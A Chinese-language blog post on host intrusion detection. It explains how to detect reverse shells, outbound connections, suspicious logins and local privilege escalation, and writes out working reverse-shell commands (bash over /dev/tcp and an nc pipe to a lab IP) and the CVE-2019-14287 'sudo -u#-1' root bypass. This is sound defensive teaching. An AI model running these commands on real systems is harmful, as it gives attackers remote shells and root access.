HIDS 常見檢測原理

wzhvictor發表於2023-03-03

HIDS(Host-based Intrusion Detection System),即主機入侵檢測系統。

本文會闡述一些常見的主機入侵手段及對應的檢測方式,意在拋磚引玉,歡迎交流~

反彈 Shell

反彈 shell 的本質是把 bash 或 sh 程式的輸入輸出重定向到 socket,在 socket 中獲取 stdin[0],stdout[1] 和 stderr[2] 輸出到 socket。因為程式通訊有較高的複雜性,所以 bash 的輸入輸出可能是一個 pipe。

透過 /bin/bash 反彈 shell

一個經典的反彈 shell 如下:

# 先啟動 server
nc -lvv 9999

# 再啟動 client
/bin/bash > /dev/tcp/10.211.55.2/9999 0>&1 2>&1 &

反彈成功後,/bin/bash 的 file descriptor(0 1 2) 會被重定向。server 上可以控制 client 的 /bin/bash 程式的 0 1 2。

image.png

理想情況下,如果反彈 shell 的本質可以歸納為 file descriptor 的重定向,那麼檢測所有程式的 file descriptor 是否被重定向即可。正常情況下 0 1 2 都不會被重定位給一個 server。

檢測方式

在反彈 shell 後,ps -ef 檢視 /bin/bash 對應的 pid:

檢視 /proc/<pid>/fd,能夠看到程式開啟的 fd 來檢視是否建立了 socket 連線:

ls -al /proc/2633/fd

image.png

但只針對 fd 的 socket 數量做檢測誤報率會很高,因為一些正常的 server 和下載都會建立 socket,所以還要在此基礎之上拿到程式的 cmdline、程式樹等資訊進行關鍵字匹配或語義分析。

藉助 pipe 反彈 shell

絕大多數的反彈 shell 都是藉助重定向 socket 來和 bash 程式進行輸入輸出互動。如果存在管道符號,那麼 bash 程式互動的則是一個 pipe:

# input server 用於傳送指令
nc -lvv 7777
# output server 用於接收執行結果
nc -lvv 8888

# client
nc 10.211.55.2 7777 | /bin/bash | nc 10.211.55.2 8888 &

image.png

效果如下:

左側輸入指令,透過 socket 傳送到客戶端執行,結果透過 socket 返回到右側。

image.png

此時,bash 程式的輸入輸出都來自其他程式的 pipe,/proc/<pid>/fd 的情況如下。可以看到 0 1 都從 pipe 獲取,非 socket。如果檢測反彈 shell 時,只檢測 socket 則會存在漏報。

image.png

檢測方式

不管做了多少層的 pipe,反彈 shell 的本質是將 server 的輸入傳遞給 client 的 bash,因此肯定存在 socket 連線。我們只需要遞迴檢視 pipe 的輸入,是否是來自一個 socket。例如,跟蹤 pipe,發現 pipe 的程式建立了 socket 連線,那麼就存在反彈 shell 的風險。

image.png

異常外連

一臺主機入侵後,入侵者往往會把資料傳送出去或啟動反彈 shell。一般在 IDC 的出口防火牆都會有檢測異常外連行為,可能由於中間有 NAT,並不一定知道是哪臺機器過來,但即使是知道哪臺機器過來的,也不知道是該臺機器哪個程式發起的外連行為。

通常的操作,都是用 netstat 命令來獲取:

image.png

但如果放在 HIDS 中實現,可能無法使用該命令:

  1. 有些Linux機器可能沒有安裝 netstat 命令;
  2. 即使有 netstat 命令,也可能由於之前的操作,導致 netstat 執行時依賴的 so 庫缺失或符號缺失,導致無法執行這個命令;
  3. netstat 命令在宿主機是無法查到 docker 裡的外連行為。

所以埠和程式資訊可以從 /proc 檔案系統下獲取,透過 /proc/<pid>/fd 獲取到 socket inode(socket:[26069]),再去對應的 /proc/<pid>/net/tcp 中根據 inode 獲取程式連線到哪些機器,再對遠端 IP 進行篩選,就知道是否有外連行為。

最下面一行就是外連 IP,16 位 IP 地址用的是網路位元組序,轉成 10 進位制後,從後往前讀就好了,而埠已經轉為本機位元組序:

image.png

image.png

如果是檢測 Docker 內部的外連行為,透過宿主機檢視 Docker 裡的程式,獲取程式 ID,透過檢視 /proc/<pid>/net/tcp 檔案,可以看到程式監聽的埠。

異常登入

透過 history、secure 日誌來發現被駭客入侵時的蛛絲馬跡,history 不用說了,重點介紹一下 secure log。

檢測方式

透過監視 /var/log/secure 檔案來發現:

Secure log 的作用是記錄驗證和授權方面的資訊,只要涉及賬戶和密碼的程式都會記錄,比如系統的登入、SSH 登入、su 切換使用者,sudo 授權,甚至新增使用者和修改使用者密碼都會記錄在這個目志檔案中。

image.png

p.s. 如果發現這個日誌不存在,被刪除了,可以手動排查:

# ls /var/log/secure
ls: cannot access /var/log/secure: No such file or directory

檢視是否有程式在使用這個檔案,可以看到 rsysload 程式在使用,結尾的狀態是檔案已經被刪除。

# lsof | grep /var/log/secure
rsyslogd   1264      root    4w      REG                8,1  3173904     263917 /var/log/secure (deleted)

檢視對應 pid 號的檔案描述符,可以看到對應的檔案內容。

# tail /proc/1264/fd/4
Sep 20 16:47:21 hlmcen69n3 sshd[38511]: pam_unix(sshd:session): session closed for user stoneSep 20 16:47:21 hlmcen69n3 su: pam_unix(su-l:session): session closed for user rootSep 20 16:49:30 hlmcen69n3 sshd[38605]: pam_unix(sshd:session): session closed for user test01Sep 20 16:50:04 hlmcen69n3 sshd[38652]: reverse mapping checking getaddrinfo for 190.78.120.106.static.bjtelecom.net [106.120.78.190] failed - POSSIBLE BREAK-IN ATTEMPT!

用重定向的方法恢復日誌: cat /proc/1264/fd/4 > /var/log/secure

檢測維度:登入 IP、時間、區域、賬號

本地提權

image.png

sudo 配置檢查(CVE-2019-14287)

在配置檔案中用了 ALL 關鍵詞後造成的。但預設的 sudo 配置檔案不受影響。 當 /etc/sudoers 檔案存在如下形式的配置會導致漏洞的產生:

image.png

這條配置簡單來說就是,test 這個使用者可以使用 sudo 命令,以除了 root 以外的任意身份去執行 vim。但由於該錯誤,test 實際上可以透過執行 sudo -u#-1 vim 來以 root 身份執行 vim,這違反了安全策略。

正常情況下 /etc/shadow 是無法被普通使用者訪問的:

image.png

執行以下程式碼:

su test
sudo -u#-1 vim /etc/shadow

image.png

普通使用者可以編輯 /etc/shadow 替換 root 賬號的密碼。

檢測方式

之所以會產生這個漏洞,先決條件是 sudo 的版本 < 1.8.28,該漏洞會導致使用者 ID 轉換為使用者名稱的函式時,將 -1(或 4294967295)誤認為是 0,而這正好是 root 使用者的 User ID。

利用 SUID 二進位制檔案進行提權

  1. SUID 許可權只能設定二進位制檔案,且只有程式執行過程中為root許可權
  2. 命令執行者要有二進位制檔案的執行權,並且執行時可以獲得該程式的屬主身份
chmod u+s filename   設定SUID位
chmod u-s filename   去掉SUID設定

image.png

檢測具有 SUID 許可權的檔案,不輕易給檔案 SUID 許可權,防止 SUID 的濫用導致駭客在進入伺服器時能夠獲取到 root 許可權。

髒牛漏洞(CVE-2016-5195)

COW 全名為 Copy-on-write

fork 之後,核心將父程式中所有記憶體頁的許可權都設定為 read-only,之後子程式記憶體指向父程式,當父程式或子程式執行了寫入操作時,因為記憶體頁是 read-only 的,就會觸發 page-fault,進而進入核心中斷例程中,在中斷例程中核心將觸發異常的頁複製一份,至此,父子程式就擁有了各自的記憶體。

https://www.freebuf.com/articles/network/283313.html

Glibc 編譯漏洞(CVE-2018-1000001)

glibc 2.26 版本及之前版本中的 Realpath 函式存在緩衝區下溢漏洞。GNU C 庫沒有正確處理 getcwd() 系統呼叫返回的相對路徑,並且沒有對緩衝區邊界進行檢查,造成 glibc 緩衝區下溢漏洞。

https://paper.seebug.org/528/

相關文章